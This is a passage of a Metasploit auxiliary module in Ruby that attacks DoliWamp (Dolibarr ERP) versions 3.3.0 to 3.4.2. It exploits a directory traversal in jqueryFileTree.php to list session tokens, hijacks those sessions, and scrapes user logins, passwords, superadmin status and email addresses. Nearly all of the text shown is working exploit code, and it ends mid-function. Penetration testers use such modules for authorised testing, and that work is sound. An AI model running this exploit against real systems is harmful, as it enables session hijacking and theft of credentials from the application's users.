## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info( info, 'Name' => "DoliWamp 'jqueryFileTree.php' Traversal Gather Credentials", 'Description' => %q{ This module will extract user credentials from DoliWamp - a WAMP packaged installer distribution for Dolibarr ERP on Windows - versions 3.3.0 to 3.4.2 by hijacking a user's session. DoliWamp stores session tokens in filenames in the 'tmp' directory. A directory traversal vulnerability in 'jqueryFileTree.php' allows unauthenticated users to retrieve session tokens by listing the contents of this directory. Note: All tokens expire after 30 minutes of inactivity by default. }, 'License' => MSF_LICENSE, 'Author' => 'bcoles', 'References' => [ ['URL', 'https://doliforge.org/tracker/?func=detail&aid=1212&group_id=144'], ['URL', 'https://github.com/Dolibarr/dolibarr/commit/8642e2027c840752c4357c4676af32fe342dc0cb'] ], 'DisclosureDate' => '2014-01-12')) register_options( [ OptString.new('TARGETURI', [true, 'The path to Dolibarr', '/dolibarr/']), OptString.new('TRAVERSAL_PATH', [true, 'The traversal path to the application tmp directory', '../../../../../../../../tmp/']) ]) end # # Find session tokens # def get_session_tokens tokens = nil print_status("Finding session tokens...") res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri( target_uri.path, 'includes/jquery/plugins/jqueryFileTree/connectors/jqueryFileTree.php'), 'cookie' => @cookie, 'vars_post' => { 'dir' => datastore['TRAVERSAL_PATH'] } }) if !res print_error("Connection failed") elsif res.code == 404 print_error("Could not find 'jqueryFileTree.php'") elsif res.code == 200 and res.body =~ />sess_([a-z0-9]+) tokens = res.body.scan(/>sess_([a-z0-9]+)) num_tokens = tokens.length.to_s.gsub(/(\d)(?=(\d\d\d)+(?!\d))/) { "#{$1}," } print_good("Found #{num_tokens} session tokens") else print_error("Could not find any session tokens") end return tokens end # # Get user's credentials # def get_user_info(user_id) vprint_status("Retrieving user's credentials") res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'user/fiche.php'), 'cookie' => @cookie, 'vars_get' => Hash[{ 'action' => 'edit', 'id' => "#{user_id}" }.to_a.shuffle] }) if !res print_error("Connection failed") elsif res.body =~ /User card/ record = [ res.body.scan(/name="login" value="([^"]+)"/ ).flatten.first, res.body.scan(/name="password" value="([^"]+)"/ ).flatten.first, res.body.scan(/name="superadmin" value="\d">(Yes|No)/ ).flatten.first, res.body.scan(/name="email" class="flat" value="([^"]+)"/).flatten.first ] unless record.empty? print_good("Found credentials (#{record[0]}:#{record[1]})") return record end else print_warning("Could not retrieve user credentials") end end # # Verify if session cookie is valid and return user's ID # def get_user_id res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'user/fiche.php'), 'cookie' => @cookie }) if !res print_error("Connection failed") elsif res.body =~ /